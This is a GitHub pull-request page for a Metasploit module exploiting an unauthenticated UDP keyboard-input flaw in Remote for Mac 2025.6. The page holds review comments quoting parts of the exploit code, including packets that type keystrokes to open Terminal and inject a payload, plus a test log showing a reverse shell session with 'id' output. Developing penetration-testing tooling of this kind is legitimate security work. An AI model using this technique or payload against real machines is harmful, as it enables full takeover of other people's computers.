Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

blue0x1 · 2025-05-29T06:02:25Z

Remote for Mac 2025.6 UDP Keyboard Input RCE Module

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. The vulnerability allows attackers to send crafted UDP packets that simulate keyboard input, bypassing authentication when the "Allow unknown devices" feature is enabled.

The module sends a sequence of UDP packets to open the Terminal app and then injects a payload command to execute arbitrary code on the target system. The target UDP port must be specified in the RPORT option, as it may vary depending on the target’s configuration.

Successful exploitation results in full remote code execution under the privileges of the Remote for Mac application, potentially leading to full system compromise.

Notes:

The vulnerability is only exploitable if authentication is disabled and "Allow unknown devices" is enabled.

The UDP port should be confirmed for each target environment.

Reverse shell payloads are supported, facilitating remote control.

References:
https://packetstorm.news/files/id/196351/

msutovsky-r7

Would you mind adding docs here as well?

msutovsky-r7 · 2025-05-29T13:41:10Z

modules/exploits/osx/http/remote_for_mac_rce.rb

Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.

msutovsky-r7 · 2025-05-29T13:42:14Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+
+    register_options(
+      [
+        Opt::RHOSTS(),


Why is this empty? I don't think this has to be here.

msutovsky-r7 · 2025-05-29T13:42:28Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+      [
+        Opt::RHOSTS(),
+        Opt::RPORT(49229),
+        OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),


SSL is already registered options afaik

msutovsky-r7 · 2025-05-29T13:43:12Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    protocol = datastore['SSL'] ? 'https' : 'http'
+    vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")


The send_request_cgi has already in its options SSL, so no need to specify it like this.

msutovsky-r7 · 2025-05-29T13:43:53Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+        'ssl' => datastore['SSL'],
+        'rport' => datastore['RPORT'],
+        'rhost' => datastore['RHOSTS']


I'm not sure if this should be here

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

msutovsky-r7 · 2025-05-30T07:14:46Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+        json = JSON.parse(res.body)
+        if json['requires.auth'] == false
+          print_good('Authentication is disabled. Target is vulnerable.')
+          return true
+        else
+          print_error('Authentication is enabled. Exploit aborted.')
+          return false
+        end
+      else
+        print_error('Unexpected response from target')
+        return false
+      end
+    rescue ::Rex::ConnectionError, JSON::ParserError => e
+      print_error("Connection or parsing error: #{e.message}")
+      return false
+    end


Using res.get_json_document would simplify greatly the logic of this part

msutovsky-r7 · 2025-05-30T07:20:39Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    udp_port = datastore['RPORT']
+    target_ip = datastore['RHOSTS']


Are you sending the UDP request to the same host/port as for TCP HTTP request?

Yes it’s the same port

msutovsky-r7 · 2025-05-30T07:20:57Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

+    udp_sock = UDPSocket.new
+    udp_sock.connect(target_ip, udp_port)
+
+    print_status('Simulating system keyboard input to open Terminal...')
+    initial_packets_hex.each do |hexpkt|
+      udp_sock.send([hexpkt].pack('H*'), 0)
+      select(nil, nil, nil, 0.05)
+    end
+
+    prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
+    'terminal'.each_char do |ch|
+      pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
+      udp_sock.send(pkt, 0)
+      select(nil, nil, nil, 0.1)
+    end
+
+    final_packets_hex.each do |hexpkt|
+      udp_sock.send([hexpkt].pack('H*'), 0)
+      select(nil, nil, nil, 0.1)
+    end


You can use include Msf::Exploit::Remote::Udp to simplify some of this

github-actions · 2025-05-30T07:28:22Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

msutovsky-r7 · 2025-06-11T06:22:00Z

Hi @blue0x1 , just checking in! If you need help with requested changes for this PR, let me know.

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

msutovsky-r7 · 2025-06-11T08:21:43Z

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

Would you mind adding check method here?

msutovsky-r7 · 2025-06-11T08:23:46Z

msf6 exploit(osx/misc/remote_for_mac) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.140:4444 
[*] Checking authentication on https://192.168.168.175:49158/api/getVersion
[+] Authentication is disabled. Target is vulnerable.
[*] Simulating system keyboard input to open Terminal...
[*] Sending malicious payload to be executed...
[+] Payload sent. Awaiting session...
[*] Command shell session 1 opened (192.168.168.140:4444 -> 192.168.168.175:49161) at 2025-06-11 04:23:20 -0400

i
zsh: command not found: i
id
uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
whoami
ms

Co-authored-by: msutovsky-r7 <[email protected]>

root added 5 commits May 28, 2025 07:42

Add Remote for Mac 2025.6 unauthenticated RCE module

1860c16

Update exploit: fix PacketStorm reference, add CVE placeholder

38f0178

Finalize Remote for Mac 2025.6 RCE module (no CVE yet)

cf3e176

Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE

287766c

Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE

43ee255

msutovsky-r7 requested changes May 30, 2025

View reviewed changes

msutovsky-r7 self-assigned this May 30, 2025

msutovsky-r7 added module needs-docs labels May 30, 2025

msutovsky-r7 changed the title ~~Exploit/osx/misc/remote for mac udp rce~~ Adds UDP Keyboard RCE for Remote for Mac 2025.6 May 30, 2025

msutovsky-r7 reviewed Jun 11, 2025

View reviewed changes

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Outdated Show resolved Hide resolved

msutovsky-r7 reviewed Jun 11, 2025

View reviewed changes

modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

Copy link

Contributor

msutovsky-r7 Jun 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding check method here?

blue0x1 and others added 3 commits June 11, 2025 17:19

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

0d2f9e3

Co-authored-by: msutovsky-r7 <[email protected]>

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

7012ab2

Co-authored-by: msutovsky-r7 <[email protected]>

Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb

82c2724

Co-authored-by: msutovsky-r7 <[email protected]>

		protocol = datastore['SSL'] ? 'https' : 'http'
		vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")

		udp_port = datastore['RPORT']
		target_ip = datastore['RHOSTS']

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

Are you sure you want to change the base?

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

Uh oh!

Conversation

blue0x1 commented May 29, 2025

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

msutovsky-r7 May 30, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

github-actions bot commented May 30, 2025

Uh oh!

msutovsky-r7 commented Jun 11, 2025

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

msutovsky-r7 commented Jun 11, 2025

Uh oh!

Uh oh!

msutovsky-r7 May 30, 2025 •

edited

Loading